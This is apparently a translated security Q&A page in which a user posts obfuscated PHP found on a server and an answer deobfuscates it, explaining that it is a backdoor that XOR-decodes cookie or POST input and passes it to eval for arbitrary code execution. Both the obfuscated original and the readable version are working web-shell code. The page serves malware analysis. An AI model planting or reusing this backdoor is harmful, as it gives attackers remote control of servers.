¿Necesito decodificar este código sospechoso y explicar qué está haciendo? [duplicar]

-4
    $llkas = '-tl#o3s1vnHr_ue*2b\'8c6mx9fya0ip47kgd';
    $spvgazs = Array();
    $spvgazs[] = $llkas[10].$llkas[15];
    $spvgazs[] = $llkas[19].$llkas[19].$llkas[16].$llkas[16].$llkas[27].$llkas[27].$llkas[5].$llkas[19].$llkas[0].$llkas[25].$llkas[20].$llkas[14].$llkas[16].$llkas[0].$llkas[31].$llkas[24].$llkas[24].$llkas[16].$llkas[0].$llkas[19].$llkas[24].$llkas[21].$llkas[32].$llkas[0].$llkas[28].$llkas[24].$llkas[24].$llkas[21].$llkas[7].$llkas[17].$llkas[27].$llkas[27].$llkas[28].$llkas[28].$llkas[31].$llkas[35];
    $spvgazs[] = $llkas[3];
    $spvgazs[] = $llkas[20].$llkas[4].$llkas[13].$llkas[9].$llkas[1];
    $spvgazs[] = $llkas[6].$llkas[1].$llkas[11].$llkas[12].$llkas[11].$llkas[14].$llkas[30].$llkas[14].$llkas[27].$llkas[1];
    $spvgazs[] = $llkas[14].$llkas[23].$llkas[30].$llkas[2].$llkas[4].$llkas[35].$llkas[14];
    $spvgazs[] = $llkas[6].$llkas[13].$llkas[17].$llkas[6].$llkas[1].$llkas[11];
    $spvgazs[] = $llkas[27].$llkas[11].$llkas[11].$llkas[27].$llkas[26].$llkas[12].$llkas[22].$llkas[14].$llkas[11].$llkas[34].$llkas[14];
    $spvgazs[] = $llkas[6].$llkas[1].$llkas[11].$llkas[2].$llkas[14].$llkas[9];
    $spvgazs[] = $llkas[30].$llkas[27].$llkas[20].$llkas[33];


    foreach ($spvgazs[7]( $_COOKIE, $_POST ) as $pxajrr => $aesghqe ){
        function lscwszf($spvgazs, $pxajrr, $hgfxl){
            return $spvgazs[6]($spvgazs[4]($pxajrr . $spvgazs[1], ($hgfxl / $spvgazs[8]($pxajrr)) + 1), 0, $hgfxl);
        }

        function rrxhm($spvgazs, $aaoyvhu){
            return @$spvgazs[9]($spvgazs[0], $aaoyvhu);
        }
        function hccqcjz($spvgazs, $aaoyvhu){$bgukyrk = $spvgazs[3]($aaoyvhu) % 3;
            if (!$bgukyrk) {eval($aaoyvhu[1]($aaoyvhu[2]));
                exit();
            }
        }

        $aesghqe = rrxhm($spvgazs, $aesghqe);
        hccqcjz($spvgazs, $spvgazs[5]($spvgazs[2], $aesghqe ^ lscwszf($spvgazs, $pxajrr, $spvgazs[8]($aesghqe))));
    }

no es una pregunta duplicada de ¿Cómo puedo ofuscar el código? quería que alguien me explicara qué hace este código? y los que siguen marcando esto como un duplicado deben leer primero las respuestas allí, que no explican nada de lo que quiero como respuesta.

    
pregunta Amanz 27.03.2018 - 13:53
fuente

1 respuesta

4

Tu código un poco más legible:

//for external input...
foreach(array_merge($_COOKIE, $_POST) as $k => $v) { 

    //convert hex to normal text, no warning if not hex
    $v =  @pack('H*', $v);

    //do some crazy string modification which makes it possible that the direct input is not detectable as malware etc.
    //after this lines, it's real code (at least a part of it is)
    $v = $v ^ substr(str_repeat($k . '8822aa38-fce2-4992-8967-09961baa004d', (strlen($v) / strlen($k)) + 1), 0, strlen($v));

    //split the result into several lines
    $v = explode('#', $v);

    $cnt = count($v) % 3;
    if ($cnt == 0) {
        //only if the line count is a multiple of 3, eg. as safeguard to filter out input not from the attacker
        //(which is highly likely something else, after the processing before)

        //execute the function specified in line 2 with the parameter of line 3, ignore the other lines
        //line 2 can be eval too, so line 3 can be any code, which will be executed on the server.
        eval($v[1]($v[2]));
        exit();

    }
}

Como se dijo en los comentarios, es un malware. Más específicamente, es una posibilidad oculta para que alguien (humano o bot) ejecute cualquier código PHP personalizado en su servidor.
Alguien logró obtener esto en su servidor, y esta es la manera fácil de regresar más tarde.

    
respondido por el user155462 27.03.2018 - 14:45
fuente

Lea otras preguntas en las etiquetas